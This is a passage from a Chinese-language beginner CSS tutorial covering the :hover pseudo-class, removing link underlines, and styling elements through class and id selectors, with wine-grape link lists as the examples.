伪类： hover用于有鼠标悬停的链接。

如果你要当鼠标光标移到链接上时将链接显示为橙色斜体，那么CSS可以这样写：

a:hover {color: orange;

font-style: italic; }

如何去掉链接的下划线是一个常见的问题。

a {text-decoration:none;}

六：元素的分类与标识（class和id）

1.用class对元素进行分类

我们希望白葡萄酒的链接全部显示为黄色，红葡萄酒的链接全部显示为红色，其余的链接显示为缺省的兰色。为了实现这一要求，我们将链接分为两类。对链接的分类是通过为链接设置HTML属性class实现的。参加如下代码：

<p>制造白葡萄酒的葡萄：</p>

<ul>

<li><a href="ri.htm" class="whitewine">雷司令（Riesling）</a></li>

<li><a href="ch.htm" class="whitewine">夏敦埃（Chardonnay）</a></li>

<li><a href="pb.htm" class="whitewine">白比诺（Pinot Blanc）</a></li>

</ul>

<p>制造红葡萄酒的葡萄：</p>

<ul>

<li><a href="cs.htm" class="redwine">卡百内索维农（Cabernet Sauvignon）</a></li>

<li><a href="me.htm" class="redwine">墨尔乐（Merlot）</a></li>

<li><a href="pn.htm" class="redwine">黑比诺（Pinot Noir）</a></li>

</ul>

然后，我们就可以为白葡萄酒和红葡萄酒的链接分别应用不同的风格了。

a {color: blue;}

a.whitewine {color: #FFBB00;}

a.redwine {color: #800000; }

如上例所示，你可以通过在样式表里利用.classname来为属于某一类的元素定义CSS属性。

利用id标识元素

除了可以对元素进行分类以外，你还可以标识单个元素。这是通过HTML属性id实现的。HTML属性id的特别之处在于，在同一HTML文档中不能有两个具有相同id值的元素。文档中的每个id值都必须是唯一的。在其他情况下，你应该使用class属性。下面，我们来看一个使用id属性的例子：

<h1 id="c1">第1章</h1>

...

<h2 id="c1-1">第1.1节</h2>

...

<h2 id="c1-2">第1.2节</h2>

假如我们要求第1.2节显示为红色，那么CSS可以这样写：

#c1-2 {

color: red;

}

如上例所示，你可以在样式表里通过#id为特定元素定义CSS属性。